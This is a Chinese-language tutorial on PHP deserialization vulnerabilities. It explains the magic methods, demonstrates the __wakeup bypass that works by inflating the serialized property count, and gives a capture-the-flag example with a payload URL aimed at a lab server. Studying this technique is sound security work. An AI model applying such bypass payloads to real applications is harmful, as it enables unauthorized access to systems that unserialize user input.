PHP反序列化漏洞(1)

背景

Serialize() //将一个对象转换成一个字符串

unserialize() //将字符串还原成一个对象

通过序列化与反序列化我们可以很方便的在PHP中进行对象的传递。本质上反序列化是没有危害的。但是如果用户对数据可控那就可以利用反序列化构造payload攻击。

常见方法

__construct()//创建对象时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__invoke() //当脚本尝试将对象调用为函数时触发

比较重要的方法

__sleep()

serialize() 函数会检查类中是否存在一个魔术方法 __sleep()。如果存在,该方法会先被调用,然后才执行序列化操作。此功能可以用于清理对象,并返回一个包含对象中所有应被序列化的变量名称的数组。如果该方法未返回任何内容,则 NULL 被序列化,并产生一个 E_NOTICE 级别的错误。
对象被序列化之前触发,返回需要被序列化存储的成员属性,删除不必要的属性。

__wakeup()

unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup 方法,预先准备对象需要的资源。

wakeup()函数用法:
wakeup()是用在反序列化操作中。unserialize()会检查存在一个wakeup()方法。如果存在,则先会调用
wakeup()方法。

1
2
3
4
5
6
7
8
9
<?php
class A{
function __wakeup(){
echo 'Hello';
}
}
$c = new A();
$d=unserialize('O:1:"A":0:{}');
?>

最后页面输出了Hello。在反序列化的时候存在__wakeup()函数,所以最后就会输出Hello。

__wakeup()函数漏洞说明:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class Student{
public $full_name = 'zhangsan';
public $score = 150;
public $grades = array();

function __wakeup() {
echo "__wakeup is invoked";
}
}

$s = new Student();
var_dump(serialize($s));
?>

最后页面上输出的就是Student对象的一个序列化输出:
O:7:”Student”:3:{s:9:”full_name”;s:8:”zhangsan”;s:5:”score”;i:150;s:6:”grades”;a:0:{}}
其中在Stuedent类后面有一个数字3,整个3表示的就是Student类存在3个属性。

wakeup()漏洞就是与整个属性个数值有关。当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过wakeup的执行。

当我们将上述的序列化的字符串中的对象属性个数修改为5,变为

1
2
3
4
5
6
7
O:7:"Student":5:
{s:9:"full_name";
s:8:"zhangsan";
s:5:"score";
i:150;
s:6:"grades";
a:0:{}}

最后执行运行的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
class Student{
public $full_name = 'zhangsan';
public $score = 150;
public $grades = array();

function __wakeup() {
echo "__wakeup is invoked";
}
function __destruct() {
var_dump($this);
}
}

$s = new Student();
$stu = unserialize('O:7:"Student":5:{s:9:"full_name";s:8:"zhangsan";s:5:"score";i:150;s:6:"grades";a:0:{}}');

这样就成功地绕过了__wakeup()函数。

例子:

1
2
3
4
5
6
7
8
9
10
<?php
class xctf{ //定义一个名为xctf的类
public $flag = '111'; //定义一个公有的类属性$flag,值为111
public function __wakeup(){ //定义一个公有的类方法__wakeup(),输出bad requests后退出当前脚本
exit('bad requests');
}
}
$test = new xctf(); //使用new运算符来实例化该类(xctf)的对象为test
echo(serialize($test)); //输出被序列化的对象(test
?>

执行结果

O:4:”xctf”:1:{s:4:”flag”;s:3:”111”;},要反序列化xctf类的同时还要绕过wakeup方法的执行,如果不绕过就会输出bad requests并退出。
修改:http://111.198.29.45:50545/?code=O:4:%22xctf%22:5:{s:4:%22flag%22;s:3:%22111%22;}

-------------本文结束感谢您的阅读-------------
/*
*/